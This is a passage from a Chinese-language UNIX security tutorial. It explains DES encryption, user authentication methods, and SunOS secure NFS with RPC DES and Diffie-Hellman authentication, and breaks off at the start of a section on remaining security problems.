      發n為1時,加密方法是自同步方式:錯一位或丟失1位,64位的密碼文本 
  將不能被正確地解密,因為不正確的加密值將移入DES輸入的末端.但是一旦接 
  收到正確的64位密碼,由DES的加密和解密的輸入是同步的,故解密將繼續正 
  確地進行. 
      DES的初始輸入稱為種子,是一個同時由傳輸器和接收器認可的隨機數.通 
  常種子由一方選擇,在加密前給另一方.而加密關鍵詞不能以明碼格式通過網 
  絡傳送,當加密系統加電時在兩邊都寫入加密關鍵詞,並且在許多階段期間加 
  密關鍵詞都保持不變,用戶可以選擇由主關鍵詞加密的階段關鍵詞,發送到數 
  據傳送的另一端,當該階段結束,階段關鍵詞就不再使用了.主關鍵詞對用戶 
  是不可見的,由系統管理員定期改變,選擇哪一種關鍵詞管理方法,常由所用的 
  硬件來確定.如果加密硬件都有相應的設備,則用種子還是用主關鍵詞階段關 
  鍵詞是無關緊要的. 

  (3)用戶身份鑒別 
      口令只是識別一個用戶的一種方法,實際上有許多方法可以用來識別用戶. 
      . CALL BACK MODEM:則維護系統有效用戶表及其相應電話號碼的設備.當 
             用戶撥號調用系統時,CALL BACK MODEM獲得用戶的登錄戶頭,掛 
             起,再回頭調用用戶的終端.這種方法的優點是,限制只有電話號 
             碼存MODEM中的人才是系統的用戶,從而使非法侵入者不能從其 
             家裡調用系統並登錄,這一方法的缺點是限制了用戶的靈活性,並 
             仍需要使用口令,因為MODEM不能僅從用戶發出調用的地方,唯一 
             地標識用戶. 
      . 標記識別:標記是口令的物理實現,許多標記識別系統使用某種形式的 
             卡(如背面有磁條的信用卡),這種卡含有一個編碼的隨機數.卡 
             由連接到終端的閱卡機讀入,不用再敲入口令.為了增加安全性, 
             有的系統要求讀入卡和敲入口令.有些卡的編碼方法使得編碼難 
             復制.標記識別的優點是,標識可以是隨機的並且必須長口令. 
             不足之處是每個用戶必須攜帶一個卡(卡也可與公司的徽記組合 
             使用).並且每個終端上必須連接一個閱讀機. 
      . 一次性口令:即"詢問-應答系統".一次性口令系統允許用戶每次登錄時 
             使用不同的口令.這種系統允許用戶每次登錄時使用不同的口令. 
             這種系統使用一種稱做口令發生器的設備,設備是手攜式的(大約 
             為一個袖珍計算器的大小),並有一個加密程序和獨一的內部加密 
             關鍵詞.系統在用戶登錄時給用戶提供一個隨機數,用戶將這個隨 
             機數送入口令發生器,口令發生器用用戶的關鍵詞對隨機數加密, 
             然用戶再將口令發生器輸出的加密口令(回答)送入系統,系統 
             將用戶輸入的口令,與它用相同的加密程序,關鍵詞和隨機數產生 
             的口令比較,如果二者相同,允許用戶存取系統.這種方法的優點 
             是:用戶可每次敲入不同的口令,因此不需要口令保密,唯有口令 
             發生器需要安全保護.為了增加安全性,UNIX系統甚至不需聯機保 
             存關鍵詞,實際的關鍵詞可保存在有線連接系統的一個特殊加 
             密計算機中.在用戶登錄期間,加密計算機將為用戶產生隨機數和 
             加密口令.這樣一種系統的優點是,口令實際不由用戶輸入,系統 
             中也不保存關鍵詞,即使是加密格式的關鍵詞也可保存系統中. 
             其不足之處類似標記識別方法,每個用戶必須攜帶口令發生器, 
             如果要脫機保存關鍵詞,還需要有一個特殊硬件. 
      . 個人特征:有些識別系統檢測如指印,簽名,聲音,零售圖案這倦的物理 
             特征.大多數這樣的系統極是實驗性的,昂貴的,並且不是百分之 
             百的可靠.任何一個送數據到遠程系統去核實的系統有被搭線竊 
             聽的危險,非法入侵者只須記錄下送去系統校核的信息,以再重 
             顯示這些信息,就能竊密.注意:這同樣也是標記識別系統的一個 
             問題. 

6.SUN OS系統的網絡安全 
    美國SUN MICROSYSTEM公司的SUN OS操作系統是建立在貝爾實驗室的UNIX 
SYSTEM V和加州大學伯克得分校的UNIX 4.3基礎上的UNIX操作系統.SUN OS 4.0 
版提供了專門的鑒別系統,該系統極大地提高了網絡環境的安全性.它也可用來 
確保其它UNIX系統或非UNIX系統的安全.它使用DES密碼機構和公共關鍵字密碼 
機構來鑒別在網絡中的用戶和機器.DES表示數據編碼標準,而公共數據編碼機構 
是包含兩種密鑰的密碼系統:一種是公用的,另一種是專用的.公用的密鑰是公開 
的而專用密鑰是不公開的.專用(秘密)的密鑰用來對數據進行編碼和解碼. 
    SUN OS系統不同其它公共關鍵字編碼之系統在:SUN OS的公用和專用密 
鑰都被用來生成一個通用密鑰,該密鑰又用來產生DES密鑰. 

  (1)確保NFS的安全 
      在網絡文件系統NFS上建立安全系統,首先文件系統必須開放並保証裝配 
  的安全. 
    . 編輯/etc/exports文件,並將-Secure任選項加在要使用DES編碼機構的文 
      件系統上.在屏幕上顯示服務器怎樣開放安全的/home目錄,如: 
      home -Secure,access=engineering 
      其中engineering是網絡中唯一能存取/home文件系統的用戶組. 
    . 對每台客戶機(CLIENT),編輯/etc/fastab文件時,Secure將作為一個裝 
      配任選項出現在每個需要確保安全的文件系統中. 
    . SUN OS中包括有/etc/publickey數據庫,該庫對每個用戶均包含有三個域: 
      用戶的網絡名,公用密鑰和編碼的密鑰.當正常安裝時X唯一的用戶是 
      nobody,這個用戶可以無需管理員的幹預即可建立自己的專用密鑰(使用 
      chkey(1)).為了進一步確保安全,管理員可為每個使用newkey(8)的用戶 
      建立一個公用密鑰. 
    . 確認keyserv(8c)進程由/etc/rc.local啟動,並且仍在運行.該進程執行 
      對公用密碼的編碼,並將編碼的專用密鑰存入/etc/keystore中. 
    . 此時,所有的用戶(除超級用戶)都必須使用yppasswd來代替passwd,以使 
      得登錄的口令與用戶的密鑰一致.其結果是在網絡中每台客戶機的 
      /etc/passwd文件中不能有每個用戶的用戶名,因而應使用有缺省值的 
      /etc/passwd文件. 
    . 當安裝,移動或升級某台機器時,要將/etc/keystore和/etc/.rootkey兩 
      個文件保留. 
      注意:當你使用login,rlogin或telnet命令到遠程機器時,你會被要求輸 
  入口令.一旦你輸入正確的口令,你也就泄漏了你的帳號.因為此時你的密鑰是 
  存放在/etc/keystore中.當然這是指用戶對遠程機器的安全不信任時.如果用 
  戶覺得遠程機器在安全保密方面不可靠,那就不要登錄到遠程機器去,而可使 
  用NFS來裝配你所查找的文件. 

  (2)NFS安全性方面的缺陷 
      SUN的遠程過程調用(RPC)機制已被証明可以用來建立有效的網絡服務,最 
  有名的服務是NFS,它實現了不同機器,不同操作系統之間透明的文件共享.但 
  NFS並非毫無缺陷.通常NFS鑒別一個寫文件的請求時是鑒別發出這個請求的機 
  器,而不是用戶.因而,在基NFS的文件系統中,運行su命令而成為某個文件的 
  擁有者並不是一件困難的事情.同樣,rlogin命令使用的是與NFS同樣的鑒別機 
  制,也存在與NFS一樣的在安全性方面的弱點. 
      對網絡安全問題一個通常的辦法是針對每一個具體的應用來進行解決.而 
  更好的辦法是在RPC層設置鑒別機構,使對所有的基RPC的應用都使用標準的 
  鑒別機構(比如NFS和Yellow pages).是在SUN OS系統中就可以對用戶的機 
  器都進行鑒別.這樣做的優點是使計算機網絡系統更像過去的分時系統.在每 
  台機器上的用戶都可登錄到任何一台機器;就象分時系統中任何一個終端上的 
  用戶都可登錄到主機系統一樣,用戶的登錄口令就是網絡的安全保証.用戶不 
  需要有任何有關鑒別系統的基礎.SUN系統的目標是讓網絡系統成為既安全又 
  方便的分時系統. 
      要注意以下幾點: 
      . 任何人只要他擁有root存取權並具備較好的網絡程序設計知識,他就可 
        以向網絡中加入二進制數據或從網絡中獲得數據. 
      . 在採用以太網結構的局域網的工作中不可能發生信息包被竄改(即被傳 
        送的信息包在到達目的站之前,被捕獲並將其修改按原路徑發出),因 
        為所有的信息包都將幾乎同時到達目的站之前,被捕獲並將其修改按 
        原路徑發出),但在網關上發生包被竄改則是有可能的.因而應確保網絡 
        中所有網關都是可靠的. 
      . 對網絡系統最危險的攻擊是同向網絡中加入數據有關的事件,例如通過 
        生成一個合法的信息包來冒充某個用戶;或記錄下用戶會話的內容,並 
        在晚一些時候再回答它們.這些都會嚴重的影響數據的完整性. 
      . 至偷看信息這類侵襲(僅僅是偷看網絡中傳送的內容而不冒充任何人) 
        將可能造成失密,但並不十分危險,因為數據的完整性沒有被破壞,而且 
        用戶可通過對需要保密的數據進行編碼來保護數據的專用. 
      總之,在任何意義上要完全明白網絡傳送的各種問題並不是很容易的,需 
  不斷實踐分析. 

  (3)遠程過程調用(RPC)鑒別 
      RPC是網絡安全的核心,要明白這一點就必須清楚在RPC中鑒別機制是怎樣 
  工作的.RPC的鑒別機制是端口開放式的,即各種鑒別系統都可插入其中並與之 
  共存.當前SUN OS有兩個鑒別系統:UNIX和DES,前者是老的,功能也弱.者是 
  在本節要介紹的新系統.對RPC鑒別機制有兩個詞是很重要的:証書和核對器 
  (credentials和verify).這好比身份証一樣,証書是識別一個人的姓名,地址, 
  出生日期等;而核對器就是身份証的照片,通過這張照片就能對持有者進行核 
  對.在RPC機制中也是這樣:客戶進程在RPC請求時要發出証書和核對器信息.而 
  服務器收到只返回核對器信息,因為客戶是已知道服務的証書的. 

  (4)UNIX鑒別機制 
      SUN早期的各種網絡服務都建立在UNIX鑒別機制之上,証書部分包含站名, 
  用戶號,組號和同組存取序列,而核對器是空白.這個系統存在兩個問題:首先, 
  最突出的問題是核對器是空的,這就使得偽造一份証書是非常容易的.如果網 
  絡中所有的系統管理員都是可以信賴的,那不會有什問題.但是在許多網絡 
  (特別是在大學)中,這樣是不安全的.而NFS對通過查尋發出mount請求的工作 
  站的INTERNET地址作為hostname域的核對器來彌補UNIX鑒別系統的不足,並且 
  使它只按受來自特權INTERNET口的請求.但這樣來確保系統安全仍然是不夠的, 
  因為NFS仍然無法識別用戶號ID. 
      另一個問題是UNIX鑒別系統只適用UNIX系統,但需要在一個網絡中所有 
  的站都使用UNIX系統是不現實的.因為NFS可運行MS-DOS和VMS系統的機器上, 
  但在這些操作系統中UNIX鑒別系統是不能運行的,例如:MS-DOS系統甚至就沒 
  有用戶號的概念. 
      由此可知,應該有這樣的鑒別系統:它具有獨立操作系統証書並使用核 
  對器.這就如像DES鑒別系統. 

  (5)DES鑒別系統 
      DES鑒別系統的安全性建立在發送者對當前時間的編碼能力上,它使接收 
  者能解碼並對照自己的時鐘來進行檢驗.時鐘標記也使用DES編碼.這樣的機制 
  要工作有兩件事是必須的: 
      . 發送者和接收者雙方必須對什是當前時間進行約定. 
      . 發送者和接收者必須使用同樣的編碼關鍵字. 
      如果網絡有時間同步機制,那客戶機服務器之間的時間同步將自己執行. 
  如果沒有這樣的機制,時間標記將按服務器的時間來計算.為計算時間,客戶機 
  在開始RPC調用之前必須向服務器詢問時間,然計算自己和服務器之間的時 
  間差,當計算時間標記時,這個差值將校正客戶方面的時鐘.一旦客戶機和服務 
  器時鐘不同步,服務器就開始拒絕客戶機的請求,並且DES鑒別系統將使它們的 
  時間同步. 
      客戶和服務器是怎樣來獲得相同的編碼關鍵字的呢?當客戶希望與服務器 
  交談時,它生成一個隨機關鍵字來對時間標記進行編碼;這個關鍵字稱為會話 
  關鍵字CK,客戶對CK按公用關鍵字模式進行編碼,並在第一次會話時發送給服 
  務器.這個CK是唯一使用公用關鍵字編碼的關鍵字.這時只有這一客戶與服務 
  器兩者才知道它們的DES關鍵字,這個關鍵字稱為共有關鍵字. 
      第一次請求時,客戶的証書包括三項:名字,用共有關鍵字編碼的會話關鍵 
  字和用會話關鍵字編碼的時窗,時窗告訴服務器:以即將給你發送許多証書; 
  也許會有人用偽造的時間標記冒充新的會話向你發送証書.當你收到時間標志 
  時,請查看你的當前時間是否在時間標記和時間標記加時窗之間,如果不對請 
  拒絕. 
      為創建安全的NFS文件,時窗缺省值為30分鐘.在發出首次請求時,客戶的 
  核對器中包含被編碼的時間標記和特定時窗(WIN+1)的編碼核對器.這樣做的 
  原因是:如果某人想寫一個程序並且在証書和核對器的編碼域中填充一些任意 
  的二進制值,服務器將CK解碼成DES關鍵字,並且用它來對時窗和時間標記解碼, 
  最產生隨機值.在經過上千次的努力,這些隨機的時窗/時間標記對才有可 
  能通過鑒別系統,因此時窗核對器將使要猜測出正確的証書變得更困難,以提 
  高安全性. 
      在對客戶進行鑒別,服務器將在証書表中存放四項值:客戶名A,會話關 
  鍵字CK,時窗,時間標記.在服務器中保留前三項的目的是以備將來使用.保留 
  時間標記的目的是為防止再次執行,服務器只接收比以前的時間標記晚的時間 
  標記.服務器將向客戶返回的核對器包括一個序號ID和負的時間標記(該標記 
  是被CK編碼的).客戶機知道,只有服務器能返送回這樣的核對器,因為只有 
  服務器知道時間標記. 
      第一次會話過程是很復雜的,以就容易多了,客戶每次向服務器發送它 
  的ID和編碼的時間標記,而服務器則返送回編碼的時間標記. 

  (6)公共關鍵字的編碼 
      SUN OS使用Diffie-Hellman法進行公共關鍵字的編碼,該算法隨機產生一 
  個秘密關鍵字(SK),簡稱密鑰.可用一個公式來計算出公共關鍵字(PK),公共關 
  鍵字存放在公共目錄中,而密鑰存放在專用的目錄中.由PK和SK生成普通關鍵 
  字K,由計算K必須知道兩個密鑰中的一個,所以除了服務器和客戶外沒有任 
  何人能計算K.計算將與另一個已知常數M求模.盡管某人的密鑰可能會被人採 
  用對公共關鍵字求對數的方法來得到,但是由M的值很大,要計算出M來幾乎 
  是不可能的.為了確保安全,K必須有較多位的二進制數來作DES密鑰,最多可從 
  K中取56位來形成DES密鑰. 
      PK和SK都是以在文件publickey,byname中的網絡名的順序存放,SK用登錄 
  號時的口令編碼存放.當你登錄到一個站時,Login程序先取你的編碼關鍵字 
  再用你的口令對其進行編碼;並將解碼的密鑰送給確保安全的本地密鑰服 
  務器,以備以進行RPC處理時使用.(注意:一般的應用是不需要知道公共關鍵 
  字和密鑰的).除改變登錄口令外,yppasswd程序還將隨機地產生新的公共關鍵 
  字和密鑰關鍵字對. 
      密鑰服務器是一個駐留本機的RPC服務器,它執行以下三種公共關鍵字 
  操作: 
      . setsecreykey(secretkey):告訴密鑰服務器將密鑰SK存貯起來,以備將 
            來使用(通常是被login程序採用). 
      . encrytsessionkey(severname,des_key):使在第一次RPC處理中將會話 
            關鍵字傳送給服務器,密鑰服務器查找severname中的公共關鍵字, 
            並將它和setsecretkey設置的client的密鑰組合,以生成用 
            對des_key編碼的密鑰. 
      . decrytsessionkey(clientname,des_key):服務器又請求密鑰服務器通 
            過調用本操作來對會話密鑰解碼. 
      注意:隱含在這些調用中的使用者名必須鑒別,密鑰服務器中可能使用DES 
  鑒別系統的(因為會產生死饋).密鑰服務器通過按uid存貯的密鑰來解決這個 
  問題,它只允許對本機的root所屬進程的請求.然client進程又執行setuid 
  進程,該進程屬root,執行對client的請求,並將真正的client的uid告訴密 
  鑰服務器. 
      以上三種操作都是系統調用,內核將與密鑰服務器直接通信,而不是通過 
  執行setuid程序來通信. 

  (7)網絡實體的命名 
      對網絡實體的命名原有的UNIX鑒別系統存在一些問題,對UNIX鑒別系統最 
  基本的網絡實體uid,已經陳述了這個系統的一個問題(太UNIX系統化了),而且 
  這個系統還有兩個問題:一個是當許多域聯系起來時的uid沖突;另一個是超級 
  用戶不是以每個域為基礎賦值,而是以每台機器為基礎賦值.在缺省情況下,NFS 
  以一種嚴密的方式解決這一問題:它不允許根通過網絡以uid0存取. 
      DES鑒別系統通過建立在新名字(網絡名)基礎上的命名機制糾正這些問題. 
  簡單地說,網絡名是一串可打印字符,從根本上說,我們所要鑒別的正是這些網 
  絡名.公共關鍵字和密鑰按網絡名存貯而不是按用戶名存貯.yellow page map 
  netid.byname 將網絡名映射為本機器中的用戶名uid和同組存取序列,而非 
  SUN環境會將網絡名映射為其它序列. 
      我們採用全局唯一的網絡名來解決網絡命名問題,這比選擇全局唯一的用 
  戶號要容易的多.在SUN環境中,對每個YP域,用戶名是唯一的.如將操作系統名 
  在YP域中的用戶號和ARPA域名組合在一起就構成了網絡名.在為一個域命名時 
  將ARPA域名加在本地域名之是一個好習慣. 
      象對用戶賦以網絡名一樣,對機器也賦以網絡名,這樣就可解決多個超級 
  用戶的問題.機器的網絡名其形式與用戶的網絡名的形式相似,正確的機器鑒 
  別系統對網絡中的無盤工作站是非常重要的,它必須保証無盤工作站能通過網 
  絡存取本機的home目錄. 
      非SUN環境中,網絡名的產生也許與前述有較大區別,但這並不妨礙它們通 
  過SUN的網絡安全系統合法地存取信息,為鑒別一個來自另一個域的用戶,只需 
  在兩個YP數據庫是建立實體.一個實體是有關密鑰和公開密鑰的,另一個是有 
  關uid和同組存取序列的.完成這項工作,在遠程域中的用戶就可利用本域的 
  網絡服務. 

  (8)DES鑒別系統的應用 
      第一個應用是廣義的YP更新服務,這個服務允許用戶更新YP數據庫中的專 
  用域. 
      另一個應用也是最重要的應用是:更安全的網絡文件系統NFS.使用UNIX鑒 
  別系統的NFS存在三個問題: 
      . 証書的檢驗僅僅在裝配時進行,這時client從服務器獲得一條信息,這 
        條信息是以請求的關鍵:文件handle.如果有人不通過服務器就能通 
        過猜想或偷聽網絡傳輸內容而獲得文件handle,那他也就能破壞UNIX 
        鑒別系統.因為在NFS文件裝配完畢,當發生文件請求時,不再進行証 
        書的檢驗. 
      . 假如一個文件系統已從一個為多個client服務的服務器中裝配到一台 
        client中;當一個具有超級用戶特權的用戶使用su命令非法存取別人的 
        文件時,文件系統不能提供任何保護.NFS的第三個問題是:由它不能 
        鑒別遠程client的超級用戶,它不得不採用一種嚴歷的方法:拒絕所有 
        的超組用戶存取. 
      新的鑒別系統解決了所有這些問題.某人相獲得非法存取權,他不得不猜 
  出正確的被編碼的時間標記並放在証書中,而這幾乎是不可能的,這樣他就 
  不能猜出文件handle.由新的系統可鑒別機器,上述第二,三問題也解決了. 
  但是在這點上,根文件系統不能使用安全的文件,而非文件系統的根用戶由IP 
  地址識別. 
      實際上,與每個文件系統相聯系的安全級別可由系統管理員改變.文件 
  /etc/exports包含有文件和可裝配它們的機器名,在缺省的情況下文件系統向 
  UNIX鑒別系統開放.但管理員在任意行加上一secure就可改變為向DES鑒別 
  系統開放.與DES鑒別系統相應的是一個參數:服務器能接收的最大窗口的大小. 

  (9)遺留的安全問題 
 &nb (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★